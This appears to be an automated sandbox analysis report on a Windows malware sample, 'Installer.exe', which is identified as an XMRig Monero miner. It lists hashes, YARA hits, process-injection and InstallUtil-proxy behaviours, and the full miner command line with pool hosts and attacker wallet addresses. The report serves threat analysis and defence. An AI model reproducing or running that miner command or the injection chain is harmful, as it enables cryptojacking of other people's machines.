Analysis
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max time kernel
150s -
max time network
144s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
23-12-2024 19:39
Static task
static1
Behavioral task
behavioral1
Sample
Installer.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
Installer.exe
Resource
win10v2004-20241007-en
General
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Target
Installer.exe
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Size
4.6MB
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MD5
43dba66b8c79ae15207a60f4151934ca
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SHA1
20d2f0cb9a7df3808aff1fb65a1a039c32508584
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SHA256
03ebe6a1c6d8aca197174ddf127b9f4cdbfc9607eeba60920531d70170deb64f
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SHA512
6d4492e06a039959cccc67b073b4d12293cf32a46858a99f850a9301f242df896a488bb1caba6a673719259091adb34170606225f2987c93f3111c2390821474
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SSDEEP
49152:PrX04x/He4aIqYuUvsY5HXc8fqv6hugnMJ0dUBsAJjAwuoiap81gDy9zsESdFM:w4xfZ7T9fh/nMJ9fWq81oE
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/files/0x000700000001707c-39.dat xmrig behavioral1/memory/2516-44-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-45-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-46-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-47-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-48-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-49-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-50-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-51-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-52-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-53-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig behavioral1/memory/2516-54-0x0000000000400000-0x0000000000B63000-memory.dmp xmrig -
System Binary Proxy Execution: InstallUtil 1 TTPs 2 IoCs
Abuse InstallUtil to proxy execution of malicious code.
description ioc Process Key opened \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\InstallUtil.exe Installer.exe File created C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe Installer.exe -
Executes dropped EXE 2 IoCs
pid Process 2768 InstallUtil.exe 2516 OmegaEngine.exe -
Loads dropped DLL 2 IoCs
pid Process 3012 Installer.exe 2768 InstallUtil.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3012 set thread context of 2768 3012 Installer.exe 31 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Installer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language OmegaEngine.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3012 Installer.exe 3012 Installer.exe 3012 Installer.exe 3012 Installer.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe 2768 InstallUtil.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3012 Installer.exe Token: SeDebugPrivilege 2768 InstallUtil.exe Token: SeLockMemoryPrivilege 2516 OmegaEngine.exe Token: SeLockMemoryPrivilege 2516 OmegaEngine.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 3012 wrote to memory of 2768 3012 Installer.exe 31 PID 2768 wrote to memory of 2516 2768 InstallUtil.exe 32 PID 2768 wrote to memory of 2516 2768 InstallUtil.exe 32 PID 2768 wrote to memory of 2516 2768 InstallUtil.exe 32 PID 2768 wrote to memory of 2516 2768 InstallUtil.exe 32
Processes
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C:\Users\Admin\AppData\Local\Temp\Installer.exe"C:\Users\Admin\AppData\Local\Temp\Installer.exe"1⤵
- System Binary Proxy Execution: InstallUtil
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Users\Admin\Documents\System\OmegaEngine.exe"C:\Users\Admin\Documents\System\OmegaEngine.exe" -B --donate-level 1 -o us-west.minexmr.com:4444 -u 42f6N5D66RXLeWEBnWGHxhS2iHhPf2YEfHUWX6Hj86TDG8XdqFPB5Jn61K2Go78LbYMvJTar6Dcafe6TQHFwfmad2FHjvuU -k --coin monero -o xmr-us-east1.nanopool.org:14444 -u 46s2W3v7uF2YciHLmfuvAf3o2tNFwEYN44MaTJcgumQVUtfBHfASdLodxna8kNsC7SMG2Q1pVK8hx7T4nANEYQMn5RsqzFZ -k --coin monero3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2516
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
40KB
MD591c9ae9c9a17a9db5e08b120e668c74c
SHA150770954c1ceb0bb6f1d5d3f2de2a0a065773723
SHA256e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f
SHA512ca504af192e3318359d4742a2ef26ae1b5d040a4f9942782e02549a310158d5d5dbf919b4c748c31ee609d2046bd23ee0c22712891c86ae4a1e3a58c6e67647e
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Filesize
6.8MB
MD52c5f8843f514824fc636f451fc6a18b4
SHA1a1c5490efea431fa3f54562d0d19d4f6826c562a
SHA256363841b14e9048fd50a012f2a3e04c3f86312fbcd3c1f4a837a102fe7e258ca7
SHA512b51cf66c2604e4e9ed363933cfb2acad7e1591036b1f8339333aa6d74625b680a952078dcdbd231204e06572d9ca24855d19138dd77eaabc673ab148b89be717